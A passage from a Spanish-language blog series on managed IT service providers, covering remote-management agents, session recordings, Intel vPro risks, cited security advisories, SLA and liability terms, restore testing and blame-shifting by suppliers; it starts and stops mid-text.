una vez en una sesión ordinaria en vez de por primera vez durante una discusión.\nLo que no quieres es el arreglo común: grabaciones guardadas solo por el proveedor, retención fijada por el proveedor, borrado a voluntad del proveedor. Ese es un control que funciona perfectamente hasta el día en que se necesita contra el proveedor. Así que pregunta quién puede acortar la retención, quién puede borrar una, y si mirar una grabación se registra en sí. Y pregunta qué pasa con el lote el día que te vas.\nSé justo con el otro lado de ello, porque lo hay. Una grabación de un ingeniero arreglando un portátil es también una grabación de lo que tu personal tenía en esa pantalla, y de vez en cuando de una credencial tecleada a la vista de todos. Las grabaciones son sensibles por derecho propio y quieren el mismo trato que el cofre: cifradas, con acceso controlado, registradas al consultarse, guardadas por un periodo estipulado y no más. Un proveedor que saca eso contigo antes de que tú lo saques con él ha pensado en el problema. Uno que nunca lo ha considerado te ha dicho algo también.\nLa misma herramienta casi con certeza mueve ficheros, en ambos sentidos. Pregunta si lo hace, y luego pregunta qué se ha puesto a su alrededor.\nLo saliente es lo que nadie cotiza. Una transferencia por el canal de gestión está cifrada, es de confianza, y se sienta fuera de cada control que ya has pagado — la prevención de fuga de datos, la supervisión de salida, la política sobre pendrives USB. Cualquiera con acceso a la consola puede tomar una copia de cualquier cosa en cualquier máquina, y en la mayoría de los despliegues no hay registro de ello que se te vaya a enseñar jamás.\nLo entrante es cómo los incidentes de más arriba en este artículo pasaron de verdad. Empujar un fichero a cada puesto a la vez no es un defecto de estos productos, es la función estrella. El ransomware simplemente la usó como fue construida para usarse.\nAsí que pregunta si la transferencia de ficheros está activada siquiera, si se puede apagar en las máquinas que nunca la necesitan, si cada transferencia se registra con el fichero, la dirección, la máquina y el ingeniero — y si ese registro te llega a ti, o se une a los otros en su bandeja de entrada.\nY lo último sobre esto, porque es lo que nadie piensa en preguntar en absoluto. ¿Qué recoge de verdad el agente, y qué pasa con ello?\nEstas herramientas recogen mucho más que un nivel de parche. Inventario de hardware y software, registros de eventos, telemetría de rendimiento, a menudo grabaciones de sesión y capturas de pantalla, a veces mucho más según lo que esté activado. Es una imagen detallada de cómo funciona tu empresa y qué hace tu personal todo el día. Está saliendo de tus instalaciones de forma continua.\nAsí que pregunta qué se recoge, dónde se almacena y bajo qué jurisdicción, cuánto tiempo se guarda, y quién puede verlo — porque la respuesta suele ser el proveedor y el fabricante de la herramienta, que es una segunda empresa que nunca elegiste y con la que no tienes contrato. Pregunta si algo de ello se usa para algo más allá de darte soporte: analítica de producto, benchmarking, entrenamiento de modelos. Pregunta qué pasa con todo ello el día que el contrato acaba, y consíguelo por escrito en vez de en una conversación.\nY fíjate en de quién son los datos. Registros sobre tu personal y tus sistemas, en poder de alguien que trata por cuenta tuya, es una frase con obligaciones pegadas, y son tuyas en vez de suyas.\nEl chip que responde cuando la máquina está apagada Hay una capa más por debajo de todo eso, y vale la pena preguntar por ella por su nombre. ¿Usan Intel vPro, o la Active Management Technology de debajo?\nSi no te la has encontrado, la versión corta es que un firmware de gestión corre en un controlador separado dentro del chipset, con su propia pila de red. Responde mientras la máquina está apagada, siempre que haya corriente y un cable. Puede encender la caja, cambiar los ajustes del BIOS, montar una imagen remota y reinstalar, y en la configuración adecuada tomar la pantalla y el teclado a nivel de hardware — antes de que el sistema operativo haya cargado, y lo haga alguna vez o no.\nHay razones reales para quererlo. Una máquina que no arranca, un ajuste del BIOS en un dispositivo a trescientas millas, una reimagen sin mandar a nadie. En un parque grande y disperso es útil y no fingiré lo contrario.\nPero mira dónde se sienta. Por debajo del sistema operativo, lo que quiere decir por debajo de cada control que has comprado. Tu protección en el puesto no puede verla, porque no corre en el sistema operativo. Tu cortafuegos de host no la filtra, porque el tráfico nunca alcanza la pila de red del sistema operativo — se maneja en sus propios puertos antes de que nada más le eche un ojo. Tu registro no la cubre. Nada de lo que hayas instalado puede decirte que tuvo lugar una sesión.\nDónde paran tus controles, y qué sigue por debajo de ellos Una máquina, de arriba abajo Tus aplicaciones y tus datos La cosa que el negocio de verdad usa Tus controles pueden verlo Protección de endpoint, registro, cortafuegos de host Esta es la parte por la que estás pagando Tus controles son esto El sistema operativo Todo lo de arriba corre dentro de él Tus controles corren aquí Debajo de esta línea, nada que instalaste está vigilando Firmware y BIOS Actualizado por el fabricante, en su calendario No en tu parcheado Motor de gestión, vPro o un BMC Procesador propio, pila de red propia, puertos propios Responde con la máquina apagada el tráfico de gestión llega aquí Todo lo que compraste corre en el sistema operativo. Las dos capas de debajo no, y nada instalado por encima de la línea puede decirte que tuvo lugar una sesión. El historial de seguridad tampoco es tranquilizador. CVE-2017-5689 puntuó 9,8, y la descripción vale la pena leerla despacio: «an unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs» — un atacante de red sin privilegios podría obtener privilegios de sistema en los SKU de gestión de Intel aprovisionados. La CISA emitió una alerta y CERT/CC una nota de vulnerabilidad. Fíjate en esa palabra «provisioned» — dormido no es una vía de entrada, y encendido lo es. Y el firmware que la porta no se actualiza por el parcheado normal que estás pagando. Viene del fabricante de la máquina, en su calendario.\nLuego está la parte que debería preocupar a cualquiera responsable de personal en vez de servidores. El control de pantalla a nivel de hardware quiere decir que alguien puede mirar una pantalla mientras el sistema operativo no tiene ni idea. Pregunta si el aviso de consentimiento del usuario está impuesto y si el indicador de sesión visible está encendido, porque los dos son configuración y los dos los puede apagar quien la aprovisionó.\nAsí que las preguntas son cortas. ¿Está aprovisionada en nuestras máquinas, y quién lo hizo, y cuándo — fue parte de una construcción que nadie mencionó? ¿Qué trabajos concretos la necesitan, y cuántas máquinas necesitan de verdad esos trabajos? ¿Qué red puede alcanzar los puertos de gestión, y está segmentada de todo lo demás? ¿Está impuesto el consentimiento, está encendido el indicador, y dónde está la pista de auditoría? ¿Y se puede desaprovisionar en cada máquina que no la necesita?\nSi la respuesta a la primera es «no lo sabemos», eso vale la pena saberlo por sí solo, porque quiere decir que la capacidad está posada ahí, configurada por alguien y vigilada por nadie.\nEl riesgo entró gratis Dale la vuelta a todo este capítulo del revés y dice una cosa. Cada capacidad de él llegó como una comodidad y se cotizó como una. El agente que parchea mil máquinas es la cosa que puede poner un fichero en mil máquinas. El chip que ahorra un viaje de doscientas millas responde cuando la máquina está apagada y no le dice nada a tu registro. La comodidad se cotizó, se detalló y se aprobó. La capacidad vino en la misma caja, sin cotizar. No aparece en ningún documento que se te haya enseñado jamás.\nNada de eso es un argumento para pasar sin nada de ello. Los parques necesitan parcheado, y alguien tiene que poder alcanzar una máquina muerta. Es un argumento para saber qué hay en el edificio, quién puede alcanzarlo, desde dónde, y qué haría falta para que la persona que tiene ese alcance sea alguien distinto de la empresa que lo tiene actualmente. Una factura nunca te lo dirá, porque una factura es una lista de lo que pagas. No es una lista de a qué estás expuesto. A nadie en este arreglo se le ha pedido jamás producir la segunda.\nLa parte tres es lo que pasa cuando uno de ellos se dispara. Lo que el contrato promete de verdad, quién acaba cargando con la pérdida, a qué suenan las excusas, y lo que cuesta irse cuando por fin has tenido bastante.\nIs Your MSP Lying To You — 3 parts\n¿Tu MSP te miente para venderte productos premium? Lo que tu MSP te construyó, y quién más puede alcanzarloyou are here Cuando se rompe, ¿quién lo carga de verdad? Fuentes Consultadas el 28 de agosto de 2026.\nFormación y competencias.\nNational Vulnerability Database — recuentos de publicación de CVE por año, sumados por trimestre: 6 595 en 2015 contra 49 972 en 2025. El material.\nCVE-2018-0141 — contraseña de cuenta codificada en duro, Cisco Prime Collaboration Provisioning, marzo de 2018. CVE-2018-15439 — Small Business Switches, una cuenta privilegiada habilitada sin notificar a los administradores, noviembre de 2018. CVE-2023-20101 — Cisco Emergency Responder, credenciales root estáticas que no se pueden cambiar ni borrar, octubre de 2023. Der Spiegel, 29 de diciembre de 2013 — el catálogo ANT, nombrando a Cisco y Huawei entre otros, de los documentos de Snowden. Der Spiegel, 29 de diciembre de 2013 — dentro de TAO: interdicción, estaciones de carga, y qué le pasa a un envío desviado. Ars Technica, 14 de mayo de 2014 — el boletín interno de la NSA de 2010 y las fotografías de un router Cisco siendo implantado, publicadas en No Place to Hide de Glenn Greenwald. Cisco, 13 de mayo de 2014 — la respuesta de la empresa, en sus propias palabras. Fiscal general de Nueva York, 2019 — el acuerdo multiestatal por el software de videovigilancia vendido a organismos públicos, y el calendario de 2009 a 2013. El material perimetral.\nCatálogo de vulnerabilidades explotadas conocidas de la CISA — versión 2026.08.27, 1 685 entradas; los recuentos por fabricante de este artículo son mi propio conteo de ese fichero. CVE-2024-3400, CVE-2024-0012 — PAN-OS, GlobalProtect y la interfaz web de gestión. CVE-2022-40684, CVE-2018-13379 — elusión de autenticación de FortiOS y salto de directorio del VPN SSL. CVE-2023-20198, CVE-2025-20333, CVE-2026-20316 — la interfaz web de Cisco IOS XE, el servidor web VPN del ASA, y una contraseña codificada en duro en Secure Firewall Management Center. CISA, Implementing Phishing-Resistant MFA — la clasificación de las formas de MFA, de la más fuerte a la más débil. KrebsOnSecurity, julio de 2018 — Google sobre sus más de 85 000 empleados y ningún phishing con éxito tras exigir llaves de seguridad físicas. Aviso conjunto AA23-320A — Scattered Spider, y su ataque a las mesas de ayuda de TI contratadas. Resumen de Windows LAPS — una contraseña de administrador local distinta por máquina, renovada y respaldada en tu propio Active Directory o tenant de Entra; gratis en cada versión soportada de Windows. Cuando sale mal.\nICO, marzo de 2025 — Advanced Computer Software Group multada con GBP 3,07 millones, la primera penalización del regulador contra un encargado del tratamiento. La página de ejecución lleva el detalle. ICO, octubre de 2025 — Capita multada con GBP 14 millones por la brecha de 2023: la alerta de diez minutos, la respuesta de 58 horas contra un objetivo de una hora, y el Security Operations Centre falto de personal. Law Society Gazette, 28 de noviembre de 2023 — unos 80 bufetes de compraventa incapaces de concluir transacciones tras caerse su proveedor de TI. La CISA y el FBI sobre el ataque a Kaseya VSA, julio de 2021 — ransomware contra los proveedores de servicios gestionados y sus clientes aguas abajo. Aviso conjunto AA23-025A, 25 de enero de 2023 — la CISA, la NSA y el MS-ISAC sobre el uso malicioso de software RMM legítimo. CVE-2024-1709 — elusión de autenticación de ConnectWise ScreenConnect, CVSS 10,0, febrero de 2024. Aviso de la CISA AA25-163A, junio de 2025 y CVE-2024-57727 — actores de ransomware alcanzando a clientes aguas abajo a través de SimpleHelp RMM sin parchear. Aviso conjunto AA22-131A, 11 de mayo de 2022 — las agencias del Reino Unido, Australia, Canadá, Nueva Zelanda y EE. UU. sobre las amenazas a los proveedores de servicios gestionados y sus clientes. ","permalink":"https://blogs.damiendye.uk/es/random/is-your-msp-lying-to-you-part2/","summary":"Parte 2 de 3. Lo que de verdad se construye una vez firmado el papeleo: nube para una empresa de un solo edificio, la caja de la que no se les disuadirá, lo básico que era lo que compraste, y el agente en cada máquina que responde a la consola de otro.","title":"Lo que tu MSP te construyó, y quién más puede alcanzarlo"},{"content":" Is Your MSP Lying To You — 3 parts\n¿Tu MSP te miente para venderte productos premium? Lo que tu MSP te construyó, y quién más puede alcanzarlo Cuando se rompe, ¿quién lo carga de verdad?you are here La parte uno fue cómo se escribe la lista corta. La parte dos fue lo que se construyó a partir de ella. Esta parte es la mañana en que deja de funcionar, y todo lo que se sigue de ahí.\nQuién está contractualmente obligado, y por cuánto. Qué se dice en la sala cuando la respuesta es nadie. Qué hace en su lugar un proveedor que vale la pena conservar. Y qué hace falta para dejar a uno que no lo vale, que resulta ser la parte que nadie planea hasta que la necesita esa semana.\nQué compró el premium en realidad La prueba está en la parte dos y no te la voy a hacer recorrer de nuevo. Da por hecho que la opción cara no compró competencia, no terminó lo básico, y no te consiguió una caja más difícil de reventar.\nAsí que, ¿a qué está atado el dinero?\nAl silicio no, que se abarata cada año. A las direcciones no. A las horas de ingeniería no, en un sector que recortó su gasto en formación casi un tercio en dos años. El premium está atado al canal — un fabricante lo bastante grande como para llevar niveles, rebajas, registro de operaciones y una red de distribución, lo que significa una cola de gente a la que se paga a todos antes de que se construya nada, y cada uno de ellos en tu factura.\nEsa es la mitad del vendedor, y por sí sola no explica gran cosa. Muchos compradores son perfectamente capaces y firman igual. Así que aquí está la otra mitad, y es la más incómoda.\nEl premium compra cobertura. No para la empresa. Para la persona que firma.\nPoner el logo bien conocido es defendible de una manera que elegir el abierto nunca lo es. Si el cortafuegos líder del mercado sufre una brecha, la de todos los demás también, y tuviste mala suerte. Si la cosa que montaste tú mismo sufre una brecha, la elegiste, y te preguntarán por qué. El resultado para el negocio es el mismo. La consecuencia para el individuo no lo es, y todo comprador por encima de cierto grado lo entiende sin que nadie tenga que decirlo en voz alta.\nComo tal, el círculo se cierra. Al vendedor se le paga más por recomendar la opción cara. El comprador está personalmente más seguro aceptándola. Ninguno de los dos actúa contra su propio interés en ningún momento — y la única parte que carga el coste de ese arreglo es el negocio para el que ambos trabajan.\nEsa es la respuesta a la pregunta con la que empezó esta serie, y es peor que mentir. Un mentiroso sabe cuál es la verdad. Este arreglo no necesita que nadie la sepa. Solo necesita que la lista corta siga saliendo igual, y así es.\nLos informes que nunca recibes Cada línea recurrente de una factura de servicio gestionado debería producir un documento. La mayoría no produce nada, y casi nadie pregunta.\nToma el parcheado de infraestructura, la línea que se sienta por encima de la del escritorio. La manera honesta de actualizar un parque es un playbook — Ansible o lo que sea — guardado en algún sitio donde puedas verlo, corrido según un calendario, dejando salida detrás. Así que pide ver el playbook, y pide ver el registro de ejecución. En muchísimos contratos no existe ninguno de los dos. Las actualizaciones son manuales cuando pasan, pasan cuando alguien se acuerda, y la línea se factura cada mes de todos modos. Lo que te vendieron como automatización es una nota en un calendario.\nLo que cada línea de la factura debería producir EN LA FACTURA EL DOCUMENTO QUE LO PRUEBA LO QUE SUELE LLEGAR Parcheado El playbook, y su registro de ejecución guardado donde puedas leerlo, ejecutado con un calendario Un porcentaje de cumplimiento Copia de seguridad Una prueba de restauración, fechada qué volvió, sobre qué, cuánto tardó, quién lo comprobó Un informe lleno de marcas verdes Monitorización Las alertas, enviadas también a ti directas del sistema, con un calendario, sin editar Un panel, curado cada mes Documentación Registros en tus propios sistemas tu IPAM, tu base de datos de activos, tu wiki Una exportación, en su calendario Una copia que nadie ha restaurado no es una copia. Es una hipótesis sobre una copia. Pide la prueba de restauración más reciente. La respuesta, o la pausa antes de ella, es toda la revisión. Cada línea recurrente debería dejar un documento detrás. La mayoría deja un porcentaje, una marca verde, o nada en absoluto. Luego las copias de seguridad. Esta es la peor de todas, porque es la línea en la que la gente más cree.\nRecibirás un informe de copia. Marcas verdes, trabajos completados, bytes escritos, todo llegando cada semana y nada leído. Ese informe no es el que importa. Una copia que nadie ha restaurado no es una copia. Es una hipótesis sobre una copia.\nEl documento que quieres es una prueba de restauración. Qué se restauró, sobre qué hardware, cuánto tardó de principio a fin, y quién abrió los datos después y confirmó que eran los datos. Pide la más reciente.\nLuego pregunta lo mismo otra vez sobre la copia sin conexión, porque es una afirmación distinta y necesita una prueba distinta. Todo el mundo dice que tiene una. Pídeles que te la enseñen — el soporte, dónde vive, la última fecha de escritura, quién tiene las credenciales — y pregunta cuándo se realizó por última vez una restauración desde esa copia en vez de desde el sistema de copia en vivo. Son soportes distintos en formatos distintos, y probar uno no prueba nada en absoluto sobre el otro. La copia sin conexión es la que sobrevive a una mala semana, y es la que menos probablemente se haya leído de vuelta jamás. Pregunta con qué frecuencia se hacen, y contra qué sistemas, y si alguien de tu lado ha visto alguna vez el resultado. En muchos contratos no se ha hecho nunca en absoluto, porque hacerlo cuesta un día del tiempo de alguien y nadie lo factura.\nHay una pregunta previa a todo esto, y decide si el resto significa algo. ¿Estos informes te llegan a ti, o solo a ellos?\nLa mayor parte del tiempo el utillaje los genera, aterrizan en la bandeja del proveedor, alguien los lee si hay tiempo, y a ti te avisan cuando hay un problema. Eso no es rendición de cuentas. Es autoevaluación con una factura pegada, y te pide que les creas de palabra en la cosa exacta que les pagas por hacer.\nAsí que pide que los informes te lleguen a ti también. Directamente desde el sistema, según un calendario, en la forma que el utillaje escupa — no una diapositiva montada por la persona a la que se mide, y no un panel verde cuidado para la reunión mensual. Los éxitos de copia y, más importante, los fallos. La ejecución de parches y lo que se saltó. Los volúmenes de alertas y los tiempos de respuesta contra el objetivo. La prueba de restauración cuando pasa, y la lista de excepciones tal como está.\nNo tienes que leer cada uno. Tienes que poder, y ellos tienen que saber que puedes. Ese es todo el mecanismo, y es la diferencia entre fiarte de alguien y estar en posición de comprobar.\nY si resulta ser difícil, pregunta por qué. Cada informe de esa lista ya existe y ya se envía a algún sitio. Añadir un segundo destinatario es una línea en una lista de distribución, no un proyecto. La reticencia aquí no es un problema técnico, y vale más que la respuesta habría valido.\nHay una versión mayor de la misma pregunta, y es la que decide si alguna vez puedes comprobar algo por ti mismo. ¿Dónde vive la documentación?\nPregunta si registrarán tu parque en tus sistemas — tu IPAM, tu base de activos, tu wiki — o en los suyos. La mayoría dirá los suyos, y se presentará como eficiencia. Su utillaje, sus plantillas, su proceso, nada que tengas que correr tú.\nMira lo que hace ese arreglo. El plan de direccionamiento, el diagrama de red, el registro de activos, los runbooks y las claves de licencia son todos registros de tu negocio, creados con tu dinero, describiendo equipo que posees. Guardados en algún sitio donde no puedes verlos. No puedes auditar lo que no puedes leer, así que no tienes forma de saber si la documentación coincide con el parque — y la documentación se aparta de la realidad constantemente, lo que es normal y perdonable, pero una deriva invisible es cómo te enteras durante un incidente en vez de durante una revisión.\nLuego está lo que pasa al final, sobre lo que la sección sobre la marcha vuelve. Una documentación en tus propios sistemas ya es tuya, ya está al día, ya en un formato que usas. Una documentación en los suyos es una exportación, en su calendario, en la forma que su herramienta ofrezca, normalmente un PDF de algo que era una base de datos.\nAsí que haz la pregunta claramente, y pide acceso de lectura hoy en vez de en principio. Un proveedor que trabaja en tus sistemas ha tomado una decisión que les cuesta un poco y te da mucho, y te lo dirá. Uno que insiste en guardar la imagen en su propio utillaje ha tomado la decisión opuesta, y vale la pena preguntar qué parte de eso le pareció atractiva.\nEsa brecha no es académica. Cada incidente de la parte dos aterriza sobre ella. Los clientes de Kaseya, los ochenta despachos de transmisiones inmobiliarias, los planes de pensiones detrás de Capita — para cada uno de ellos la única pregunta que importaba el día era si la restauración funcionaba. Ahí es cuando un informe que nadie pidió se convierte en el único documento del edificio que vale la pena tener.\nSi tu proveedor no puede producir una prueba de restauración, no estás comprando copia de seguridad. Estás comprando copiado, y descubrirás cuál la peor mañana del año.\nNadie es responsable Comprar un sitio donde poner la culpa merece más que la cláusula que le tocó en la parte uno, porque la rendición de cuentas es la cosa que todo este arreglo está construido para esquivar. No moralmente. Contractualmente.\nEmpieza por el acuerdo de nivel de servicio, y lee lo que promete de verdad. Casi siempre es un tiempo de respuesta. Cuatro horas para acusar recibo, ocho para atender, ese tipo de cosa. Responder está enteramente bajo su control, así que se puede prometer sin riesgo. Arreglar no lo está, así que no se promete. Busca una línea que los comprometa a un resultado — el servicio funciona, los datos vuelven, el sitio comercia — y en la mayoría de los contratos no hay una en ningún sitio.\nLuego encuentra el tope de responsabilidad. Estará ahí, y suele ser los honorarios que pagaste en los doce meses anteriores, a veces menos. Así que lo peor que puede pasarles es devolverte lo que ya les diste. Lo peor que puede pasarte a ti es el negocio. Esos dos números no están en el mismo universo, y la brecha entre ellos es la posición de riesgo real en la que estás.\nLo que el acuerdo promete, y lo que cada lado se juega A qué les compromete de verdad el acuerdo Acusar recibo del fallo en cuatro horas Prometido Atender en ocho horas Prometido El servicio vuelve a funcionar, los datos vuelven, el sitio opera No prometido Y lo que cada lado pierde en el peor día Ellos topado en unos doce meses de las cuotas que ya pagaste Tú los pedidos, las nóminas, los clientes, el negocio Responder está dentro de su control, así que se promete. Arreglar no lo está, así que no. Las dos barras son el mismo contrato, visto desde cada extremo. La reventa mueve el resto aguas arriba. Si el hiperescalador está caído es culpa del hiperescalador. Si el cortafuegos saca un diez es culpa del fabricante. Si un instalador troyanizado llega firmado y entregado como una actualización ordinaria, eso es el fabricante también. Cada uno de esos es verdad, y ninguno te sirve de nada, porque nunca tuviste relación con ninguna de esas empresas. Tuviste una con la firma que las eligió por ti y se llevó una rebaja por ello.\nY bajo todo eso se sienta el mecanismo más silencioso del lote. No puedes fallar en entregar un requisito que nunca se puso por escrito. El documento de requisitos que nadie escribió en la parte uno no es solo dejadez — es protección. Sin requisito capturado, sin promesa medible. Sin promesa medible, sin incumplimiento. No puedes apartarte de un diseño que nadie validó.\nMira lo que pasó cuando la rendición de cuentas por fin llegó a algún sitio. A Capita le pusieron una multa de £14 millones, y vino del Information Commissioner bajo la ley de protección de datos, por una alerta que nadie atendió durante cincuenta y ocho horas. No de un cliente, y no bajo un contrato de servicio. El dinero fue al Estado. Los 6,6 millones de personas cuyos datos salieron por la puerta, y los 325 planes de pensiones que cargan las consecuencias, no fueron los que la trajeron y no fueron los que cobraron.\nAsí que el arreglo, de principio a fin. El fabricante vende un producto bajo una licencia que declina la aptitud para nada en particular. El proveedor vende horas contra una responsabilidad con tope y una promesa de tiempo de respuesta. La aseguradora tarifica lo que queda. Y la pérdida se posa sobre el negocio que no puede moverse, que es la única parte de la cadena que nunca pudo declinar nada.\nTodos en la cadena declinan su parte, y todo aterriza en un sitio Cada capa pasa la consecuencia hacia abajo y se queda su margen El fabricante La licencia declina la aptitud para nada El distribuidor Mueve el producto, se lleva una tajada El proveedor Horas vendidas contra una responsabilidad topada La aseguradora Pone precio a lo que quede El negocio que tiene que abrir las puertas el lunes Fabrica algo, emplea gente, no puede moverse rápido y es el único de la cadena que no puede declinar nada Cada capa de arriba está legalmente a salvo. La pérdida todavía tiene que quedarse en algún sitio. Cada capa está legalmente a salvo, y cada una cobra antes de que se construya nada. La consecuencia sigue viajando hasta que alcanza a alguien que no puede pasarla adelante. Hay una prueba más simple en todo eso, y no necesita abogado.\nSi una firma cree en lo que ha recomendado, debería estar dispuesta a respaldarlo. Eso es lo que es una recomendación. No compraste la caja — cualquiera con una web puede venderte una caja. Compraste el juicio de alguien de que esta era la caja correcta para ti, y se le pagó por ese juicio, y se le pagó de nuevo por el fabricante cuya caja resultó ser.\nAsí que cuando falla y la respuesta vuelve que el fabricante falló a todos, mira lo que acaba de pasar. La parte que de verdad compraste ha sido declinada. El juicio se evapora en el momento exacto en que se pone a prueba, y lo que queda es una firma que hizo pasar un producto y se llevó un margen de paso.\nNadie le pide a un MSP que garantice a Microsoft. Pero hay una brecha ancha entre garantizar a un hiperescalador y respaldar tu propio consejo, y todo otro oficio vive en algún punto de ella. Un electricista que instala un cuadro eléctrico no puede culpar al fabricante de haberlo elegido. Un ingeniero de estructuras que especifica una viga posee la especificación. Cargan su juicio, porque el juicio era el servicio.\nAsí que pregunta qué está dispuesto a cargar tu proveedor. No el producto del fabricante — su propia recomendación. La respuesta, o la longitud de la pausa antes de ella, te dice lo que piensa de ella en privado.\nY luego es culpa tuya El contrato es la mitad silenciosa de esto. La mitad ruidosa aparece el día en que algo se rompe de verdad, y llega ahí antes que el arreglo.\nMira en qué dirección viaja la responsabilidad. Hacia fuera, en cada dirección disponible, y más o menos en este orden. El fabricante entregó un mal parche. El circuito era del operador. Es un problema conocido y todo el mundo lo está viendo. Nadie podría haberlo previsto, dicho sobre un fallo que llevaba en la lista de explotados el tiempo suficiente como para haberle crecido barba. El proveedor anterior lo dejó así, que es una respuesta justa durante seis meses y todavía se da en el tercer año. Luego las direcciones hacia fuera se agotan, y queda una. Nunca aprobaste la actualización. Eso estaba fuera de alcance, tu personal hizo clic en el enlace, y nunca abriste un ticket.\nAquí está el trozo incómodo. Algunas de esas son verdad. Un cliente que ha rechazado el mismo reemplazo tres años seguidos sí posee esa decisión, y un proveedor que lo dice está siendo franco contigo. Así que la pregunta no es si la excusa es exacta. Es cuándo se dijo por primera vez. Un riesgo que se te presenta por escrito antes de la caída, con lo que costaría arreglarlo y lo que costaría no hacerlo, es un proveedor gestionando tu parque. La misma frase enviada la semana después es una defensa que se está montando. Mismas palabras, fecha distinta, sentido opuesto.\n«Nunca abriste un ticket» es la que vale la pena parar, porque no es una excusa en absoluto. Es el modelo operativo dicho en voz alta. Nada es trabajo de nadie hasta que lo notas, lo que te convierte a ti en la vigilancia, y estás pagando una cuota mensual a una firma cuya capa de detección es un cliente que llama. Una vez que has oído esa respuesta una vez, sabes qué es el servicio.\nHay una versión más activa de esto, y funciona mucho mejor de lo que debería. Convocas una revisión para preguntar por qué los últimos seis meses han ido como han ido, y el orden del día que vuelve es sobre otra cosa del todo: un asunto de seguridad urgente, una fecha límite de licencia que nadie había mencionado, un aviso de fin de vida sobre una caja que lleva en fin de vida dos años y de repente se ha vuelto apremiante esta quincena. Se presenta con verdadera preocupación y un presupuesto pegado, y se come la hora. Sales habiendo acordado gastar dinero, y la cosa por la que convocaste la reunión nunca se dijo en voz alta en absoluto.\nFíjate en lo que la crisis fabricada siempre tiene en común. Necesita una compra, la necesita este trimestre, y exige que nadie en la sala admita nada. La urgencia de verdad tiene otra pinta, porque viene con un identificador, una fecha en que se publicó, las máquinas concretas de tu parque que lo tienen, y lo que ya han hecho al respecto mientras esperaban a decírtelo. La clase inventada llega como una fecha límite de fabricante y una cifra redonda. Pregunta cuándo apareció por primera vez en su radar. Si la respuesta es la misma semana en que empezaste a hacer preguntas incómodas, eso no es una coincidencia y nunca se pretendió que lo fuera.\nAsí que lleva tu propio expediente, y empiézalo antes de necesitarlo. Cada vez que te dicen que una cosa está bien, pide eso en un correo. Cada vez que rechazas algo, anota qué te enseñaron y a cuánto lo cotizaron. Cuesta un minuto y significa que el día en que se vuelve culpa tuya, puedes pedir la fecha, y la respuesta existe o no existe. Una firma que hace este trabajo como es debido llega ahí primero de todos modos. Abre con hemos pasado esto por alto, esto es lo que estamos cambiando, y lo dice antes de que hayas terminado de preguntar. Les cuesta una frase, que es precisamente por lo que tan pocas la gastarán.\nY cuando te llega la crisis inventada, o la culpa aterriza sobre ti por algo que nadie te presentó nunca, dilo en la sala. No como una queja después y no como una nota para el expediente. Pregúntales si consideran eso profesional, si es la respuesta que aceptarían si se la dieran a ellos, y dónde está la integridad en ella. Alguien estará incómodo, y ese es todo el propósito de preguntar. Una firma con algo de amor propio que le quede lo encaja, dice de acuerdo, y vuelve distinta el mes siguiente. Sabrás en un minuto de qué clase es la que está sentada enfrente.\nLuego ponte a buscar de todos modos. Esa semana. Una mala reunión no lo decide, pero la esquiva nunca fue un mal día. Fue una decisión sobre ti: que gestionar cómo te sientes es más barato que arreglar lo que compraste, y que lo aguantarás. Las firmas no deshacen ese cálculo porque un cliente ponga cara. Reemplazar a un proveedor como es debido lleva meses que no has empezado a gastar, y el momento de hacerlo es mientras todavía estás lo bastante tranquilo como para elegir bien, en vez de en la quincena después de la caída que por fin te decide.\nPregunta estas en la próxima reunión Nada de esto te cuesta nada, y no necesitas ser ingeniero para preguntar ninguna de ellas.\nHe puesto las preguntas en una hoja de cálculo en vez de a lo largo de la página — 120 de ellas a través de quince áreas, cada una con a qué suena una respuesta competente frente a a qué suena una esquiva, y una columna para anotar cuál obtuviste.\n\u0026#8615; Preguntas al proveedor, la versión larga msp-supplier-questions.xlsx · 26 kB Trátalo como una hoja de apoyo, no un guion. Recórrelo, marca la docena que de verdad pesa sobre tu contrato, y pregunta esas. Nadie aguanta cien preguntas en una hora y aprenderías menos si lo intentaran. Envíalo antes de la reunión en vez de sacarlo en una — un proveedor que hace el trabajo como es debido agradecerá el aviso, y cómo se toma el aviso es en sí una respuesta.\nUna pregunta ahí dentro pide cuáles de sus recomendaciones les rinden una rebaja, un crédito, un margen o un objetivo del fabricante. Esa es la que cambia la temperatura de una sala, y no debería. Un proveedor sin nada que ocultar la responde de frente, porque iba a recomendar lo mismo de todos modos y preferiría que lo supieras. Mira lo que pasa cuando preguntas. La respuesta importa menos que la reacción.\nUn proveedor que hace el trabajo como es debido tiene todo esto a mano. Ya, hoy, sin preparar. Los requisitos por escrito, las opciones costeadas, la línea de código abierto en la comparación, el plan de direccionamiento con doble pila, la herramienta de gestión remota parcheada y los riesgos en el registro donde les corresponde. Pregunta, y descubres en una reunión de qué clase estás pagando.\nY si es el propio hecho de preguntar lo que les molesta, has descubierto todo lo que necesitabas.\nToda cuenta se queda en silencio Todo esto asume que puedes marcharte si lo necesitas. Eso vale la pena probarlo antes de necesitarlo, porque marcharse es donde un contrato de servicio gestionado deja de tratar de tecnología.\nAsume que lo necesitarás algún día. Cada uno de estos arreglos deriva de la misma manera, con quienquiera que firmes. La atención que tenías mientras ganaban el trabajo se adelgaza una vez que el recibo domiciliado está en marcha, y te instalas en sus libros como una cifra mensual en vez de un parque en el que alguien piensa. Nadie se sienta y decide dejar de importarle. El mejor ingeniero se va a donde está el ruido, las revisiones dejan de hacerse discretamente, y tu equipo se queda sobre lo que era la respuesta correcta el año que firmaste mientras el resto del oficio avanza sin ti.\nEntiende qué es de verdad una cuenta en silencio, porque la frase suena a cumplido y no lo es. Una cuenta en silencio es una que nadie ha comprobado. Las copias salen en verde cada noche y nadie ha restaurado una a una máquina de repuesto y la ha visto arrancar. El par de conmutación por error nunca se ha conmutado, porque hacerlo significa reservar una caída y alguien tendría que estar ahí. El firmware es el que vino, el certificado lo ha renovado quien se acordó, y la documentación describe una red que se dio de baja hace dos mudanzas. El recuento de licencias no se ha mirado desde el año en que tenías once empleados más. Nada de eso genera un ticket, así que nada alcanza la pantalla de nadie, y la cuenta navega por cada revisión interna porque lo único que se mide es si llamaste.\nLuego te enteras. No en una revisión, porque no la hubo. Te enteras la mañana en que la restauración hace falta, o cuando el auditor pide el diagrama, o cuando una cosa que ha corrido intocada seis años se para y nadie que quede en el edificio sabe qué hacía. Una cuenta en silencio paga lo mismo que una ocupada y cuesta mucho menos de servir. Ese es todo el incentivo, y apunta lejos de que nadie abra nunca la tapa.\nEl consejo que les cuesta dinero Pon la prueba del revés, y pregunta qué se supone que estás comprando de verdad. No es la ausencia de problemas. Cualquiera puede estar ausente. Lo que pagas es alguien que conoce el 